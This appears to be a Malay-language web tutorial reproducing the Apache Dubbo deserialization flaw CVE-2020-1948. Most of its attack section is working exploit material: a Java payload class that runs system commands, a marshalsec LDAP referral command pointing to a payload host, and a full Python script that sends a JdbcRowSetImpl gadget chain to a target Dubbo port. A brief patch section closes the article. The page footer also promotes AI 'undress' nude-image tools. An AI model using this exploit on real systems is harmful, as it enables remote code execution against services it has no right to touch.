Jadual Kandungan
Pengenalan
Ikhtisar
Versi yang terjejas
Persediaan persekitaran
Rumah Operasi dan penyelenggaraan Keselamatan Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo

Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo

May 17, 2023 pm 04:01 PM
dubbo

Pengenalan

Dubbo ialah rangka kerja perkhidmatan berprestasi tinggi dan cemerlang sumber terbuka oleh Alibaba, yang membolehkan aplikasi merealisasikan output perkhidmatan dan fungsi input melalui RPC berprestasi tinggi, dan boleh disepadukan dengan lancar dengan rangka kerja Spring . Sistem ini mempunyai tiga fungsi teras, termasuk permohonan kaedah antara muka jauh, toleransi kesalahan pintar dan pengimbangan beban, dan pendaftaran automatik dan penemuan perkhidmatan.

Ikhtisar

Pada 23 Jun 2020, Apache Dubbo secara rasmi mengeluarkan notis risiko untuk pelaksanaan kod jauh Apache Dubbo Nombor kerentanan ialah CVE-2020-1948, dan tahap kerentanan ialah: tinggi. risiko. Apache Dubbo ialah rangka kerja Java RPC sumber terbuka berprestasi tinggi dan ringan yang menyediakan tiga keupayaan teras: penyerahan kaedah jauh berorientasikan antara muka, toleransi kesalahan pintar dan pengimbangan beban serta pendaftaran dan penemuan perkhidmatan automatik. Penyedia Apache Dubbo mempunyai kerentanan penyahserilan Penyerang boleh menghantar nama perkhidmatan atau nama kaedah yang tidak dikenali dan beberapa muatan parameter berbahaya melalui permintaan RPC Apabila parameter hasad dinyahsiri, ia boleh menyebabkan pelaksanaan kod jauh.

Versi yang terjejas

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (secara rasmi tidak lagi diselenggara)

Persediaan persekitaran

Versi jdk bagi persekitaran berjalan dan persekitaran exp tersusun adalah kedua-duanya 8u121 Mulakan persekitaran ujian

java -jar dubbo.jar
Salin selepas log masuk


Selepas permulaan, ia akan mendengar port 12345

Kerentanan berulang

Cap jari perkhidmatan:


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
Salin selepas log masuk
Bina poc. Kami melaksanakan perintah ping di sini untuk mengesahkan sama ada arahan itu boleh dilaksanakan. Cipta calc.java baharu,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}
Salin selepas log masuk


Kompilasi poc

javac calc.java
Salin selepas log masuk


Letakkan poc yang disusun (calc.class) ke dalam direktori tapak web web untuk memastikan hos yang terdedah Anda boleh mengakses projek marshalsec untuk memulakan perkhidmatan proksi ldap Muat turun marshalsec:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Salin selepas log masuk


untuk memulakan perkhidmatan proksi LDAP. Jalankan arahan ini dan perkhidmatan ldap akan mendengar port 8086


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
Salin selepas log masuk


Laksanakan skrip ujian yang digunakan dalam ujian di sini ialah 3.8.0. Mula-mula pasang pakej pergantungan

python3 -m pip install dubbo-py
Salin selepas log masuk


Kandungan skrip (Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)
Salin selepas log masuk


Laksanakan skrip

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
Salin selepas log masuk


Semak dnslog dan berjaya menerima permintaan怎么进行Apache Dubbo反序列化漏洞的分析怎么进行Apache Dubbo反序列化漏洞的分析

perkhidmatan ldap juga boleh melihat pemajuan permintaan

怎么进行Apache Dubbo反序列化漏洞的分析

Kalkulator Bom

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }
Salin selepas log masuk
Pembetulan Kerentanan

Naik taraf kepada versi 2.7.7 dan lakukan pengesahan parameter mengikut kaedah dalam pautan berikut

https:// github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de


Tukar protokol dan kaedah penyahserialisasian.

Atas ialah kandungan terperinci Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

AI Hentai Generator

AI Hentai Generator

Menjana ai hentai secara percuma.

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Tutorial praktikal pembangunan SpringBoot+Dubbo+Nacos Tutorial praktikal pembangunan SpringBoot+Dubbo+Nacos Aug 15, 2023 pm 04:49 PM

Artikel ini akan menulis contoh terperinci untuk bercakap tentang perkembangan sebenar dubbo+nacos+Spring Boot. Artikel ini tidak akan merangkumi terlalu banyak pengetahuan teori, tetapi akan menulis contoh paling mudah untuk menggambarkan bagaimana dubbo boleh disepadukan dengan nacos untuk membina persekitaran pembangunan dengan cepat.

Mengapa Dubbo ditulis semula dalam Go? Mengapa Dubbo ditulis semula dalam Go? Apr 10, 2023 pm 12:51 PM

[[443126]] Biar saya mulakan dengan beberapa perkataan Saya sering memikirkan banyak "soalan mengapa" teknikal apabila saya berjalan Kadang-kadang saya berfikir tentang soalan untuk masa yang lama, dan ia tidak selesai sehingga saya dapat meyakinkan diri saya setiap perkara dalam soalan. Jadi saya ingin merakam pemikiran ini dan membentuk artikel, yang boleh digunakan sebagai siri baru. Anda mungkin tidak dapat melihat kod dalam artikel ini, tetapi anda boleh melihat sekilas beberapa masalah yang mudah diabaikan, serta "mengapa" masalah yang lebih mendalam. Hari ini kami membawakan anda artikel pertama, mengapa Dubbo perlu ditulis semula dalam Go Dubbo, yang dilahirkan di Alibaba dan sumber terbuka pada 2011, telah melalui 10 tahun? Pada 2019, ia telah ditulis semula dalam Go dan sumber terbuka Kini dua tahun kemudian, ia telah berkembang daripada versi V1.0.0 asal kepada V3.0.0.

Analisis prinsip dan contoh rangka kerja perkhidmatan teragih berasaskan Java Dubbo Analisis prinsip dan contoh rangka kerja perkhidmatan teragih berasaskan Java Dubbo Apr 24, 2023 pm 08:13 PM

Prakata Sebelum memperkenalkan Dubbo, mari kita fahami konsep asas dahulu: Dubbo ialah rangka kerja RPC ialah Panggilan Prosedur Jauh (panggilan prosedur jauh Ia digunakan dalam seni bina aplikasi tunggal dan seni bina aplikasi menegak Semuanya adalah panggilan prosedur tempatan. Ia membenarkan program untuk memanggil prosedur atau fungsi dalam ruang alamat lain (biasanya mesin lain yang dikongsi pada rangkaian) tanpa pengaturcara perlu mengekodkan butiran panggilan jauh secara eksplisit. Panggilan jauh antara aplikasi seni bina yang diedarkan memerlukan rangka kerja RPC untuk membuat panggilan jauh semudah panggilan tempatan. Rangka kerja Dubbo mempunyai komponen Pengguna berikut, yang memanggil perkhidmatan jauh

Analisis kod sumber Dubbo: Panduan pemula Analisis kod sumber Dubbo: Panduan pemula Aug 23, 2023 pm 02:44 PM

Jika anda sudah mahir menggunakan Dubbo, artikel ini tidak sesuai untuk anda, tetapi jika anda ingin memahami Dubbo dan belajar Dubbo, ia sangat sesuai untuk anda.

Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo May 17, 2023 pm 04:01 PM

Pengenalan Dubbo ialah rangka kerja perkhidmatan berprestasi tinggi dan cemerlang sumber terbuka oleh Alibaba, yang membolehkan aplikasi merealisasikan output perkhidmatan dan fungsi input melalui RPC berprestasi tinggi, dan boleh disepadukan dengan lancar dengan rangka kerja Spring. Ia menyediakan tiga keupayaan teras: permohonan kaedah jauh berorientasikan antara muka, toleransi kesalahan pintar dan pengimbangan beban, dan pendaftaran dan penemuan perkhidmatan automatik. Gambaran Keseluruhan Pada 23 Jun 2020, ApacheDubbo secara rasmi mengeluarkan notis risiko tentang pelaksanaan kod jauh ApacheDubbo Nombor kerentanan ialah CVE-2020-1948, dan tahap kerentanan ialah: berisiko tinggi. ApacheDubbo ialah rangka kerja JavaRPC sumber terbuka berprestasi tinggi dan ringan Ia menyediakan tiga keupayaan teras: jarak jauh berorientasikan antara muka

Apakah perbezaan antara tiga mekanisme SPI Java Spring Dubbo Apakah perbezaan antara tiga mekanisme SPI Java Spring Dubbo May 16, 2023 am 08:34 AM

SPI digunakan untuk apa? Sebagai contoh, kini kami telah mereka bentuk rangka kerja pembalakan baharu: "super-logger". Secara lalai, fail XML digunakan sebagai fail konfigurasi log kami, dan antara muka untuk penghuraian fail konfigurasi direka: packagecom.github.kongwu.spisamples; publicinterfaceSuperLoggerConfiguration{voidconfigure(StringconfigFile);} Kemudian terdapat pelaksanaan XML lalai: packagecom; .github .kongwu.spisamples;publiccl

Apakah prinsip dan mekanisme dubbo Apakah prinsip dan mekanisme dubbo Jan 17, 2024 pm 03:25 PM

Penjelasan prinsip dan mekanisme dubbo: 1. Komponen teras; 3. Toleransi kesalahan kluster; , Skalabiliti 9. Keselamatan; 10. Integrasi dengan Spring; Pengenalan terperinci: 1. Komponen teras, termasuk pusat pendaftaran, pusat pemantauan, pengguna perkhidmatan dan penyedia perkhidmatan 2. Prinsip komunikasi Dubbo menggunakan rangka kerja komunikasi rangkaian untuk membuat panggilan perkhidmatan dan sebagainya.

Apakah kaedah reka bentuk keseluruhan seni bina java Dubbo? Apakah kaedah reka bentuk keseluruhan seni bina java Dubbo? Apr 27, 2023 pm 09:52 PM

1. Perihalan perhubungan panggilan Dubbo 1.1 Komponen di sini terutamanya terdiri daripada empat bahagian: Pembekal: pembekal perkhidmatan yang mendedahkan perkhidmatan: bertanggungjawab untuk data interaksi protokol antara pembekal dan pengguna Perkhidmatan: maklumat perkhidmatan perniagaan sebenar boleh difahami. Antara muka dan melaksanakan Kontena: Persekitaran operasi Dubbo Pengguna: Pengguna perkhidmatan yang memanggil perkhidmatan jauh Protokol: Bertanggungjawab untuk data interaksi protokol antara pembekal dan pengguna Kluster: Memahami maklumat senarai di bahagian penyedia Proksi: Boleh difahami sebagai ejen panggilan Perkhidmatan pembekal, yang mengambil alih logik panggilan antara muka dalam Pengguna ●Daftar: Mendaftar

See all articles